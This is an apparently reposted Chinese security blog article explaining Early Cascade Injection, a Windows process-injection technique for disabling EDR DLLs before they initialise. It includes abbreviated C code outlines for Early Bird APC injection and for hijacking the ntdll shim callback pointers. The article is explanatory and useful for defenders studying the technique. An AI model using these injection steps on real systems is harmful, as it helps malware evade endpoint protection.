2026-10-22 14:03:12 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

抢先废掉 EDR：Early Cascade 新型进程注入技术

原创

陆安予
陆安予

白帽子安全笔记2.0

2026年10月17日 23:23
江苏

去阅读

一、这是什么

早期级联注入(Early Cascade Injection)是一种新型进程注入技术，它同时融合了知名的早鸟APC注入（Early Bird APC Injection）和EDR预加载技术，它向一个新建的 x64 进程注入 shellcode，同时让用户态 EDR 的 DLL 在被初始化之前就失效，从而绕过其 API 钩子与行为监控。该技术后来被 Cobalt Strike 4.12 集成为其注入选项之一。

二、技术原理

早鸟注入于 2018 年出现，核心是早，它不再向一个已经在运行的进程注入，而是创建一个挂起的新进程，在进程主线程进入入口点之前，通过 APC 把 shellcode 塞进去执行，抢在 EDR 用户态钩子生效之前动手。它的标志性动作是QueueUserAPC或NtQueueApcThread，该行为早已被纳入监控。

// 1. 挂起创建进程
CreateProcessA(NULL, \"target.exe\", ..., CREATE_SUSPENDED, ..., &pi);

// 2. 在目标进程分配内存并写入 shellcode
LPVOID pRemote = VirtualAllocEx(pi.hProcess, NULL, scSize,MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemote, shellcode, scSize, NULL);

// 3. 标志性动作：跨进程把 APC 排到目标主线程
QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0);

// 4. 恢复线程，APC 在入口点前触发
ResumeThread(pi.hThread);

直到2024年，Marcus Hutchins发布了EDR-Preloading技术，核心思路是劫持 AppVerifier 层的回调，阻止 EDR 的 DLL 正常加载和初始化。再后来由Guido Miggelenbrink把早鸟注入和EDR-Preloading融合并实现了POC，取名为Early Cascade Injection。最后，由0xNinjaCyclone重新实现了POC。

// 1. 挂起创建进程
CreateProcessA(NULL, \"Notepad.exe\", ..., CREATE_SUSPENDED, ..., &pi);

// 2. 定位 ntdll 里的回调指针和开关
pSE_DllLoadedAddress = find_SE_DllLoadedAddress(hNtDLL, &pPtr);   // g_pfnSE_DllLoaded
pShimsEnabledAddress = find_ShimsEnabledAddress(hNtDLL, pPtr);    // g_ShimsEnabled

// 3. 分配 [stub][shellcode]，回填开关地址，写入
pBuffer = VirtualAllocEx(..., sizeof(x64_stub) + sizeof(x64_shellcode), ...,
                         PAGE_EXECUTE_READWRITE);
RtlCopyMemory(find_pattern(x64_stub, ..., \"\\x11\\x11...\", 8),
              &pShimsEnabledAddress, 8);
WriteProcessMemory(pi.hProcess, pBuffer, x64_stub, sizeof(x64_stub), NULL);
WriteProcessMemory(pi.hProcess, pPtr, x64_shellcode, sizeof(x64_shellcode), NULL);

// 4. 加密 stub 地址，写入回调指针（不是排 APC）
pPtr = encode_system_ptr((LPVOID)pBuffer);
WriteProcessMemory(pi.hProcess, pSE_DllLoadedAddress, &pPtr, sizeof(LPVOID), NULL);

// 5. 打开开关，恢复线程 - 系统自己调起 stub
WriteProcessMemory(pi.hProcess, pShimsEnabledAddress, &bEnable, sizeof(BOOL), NULL);
ResumeThread(pi.hThread);

目前该技术没有后续升级版本，仅采用不同语言改写。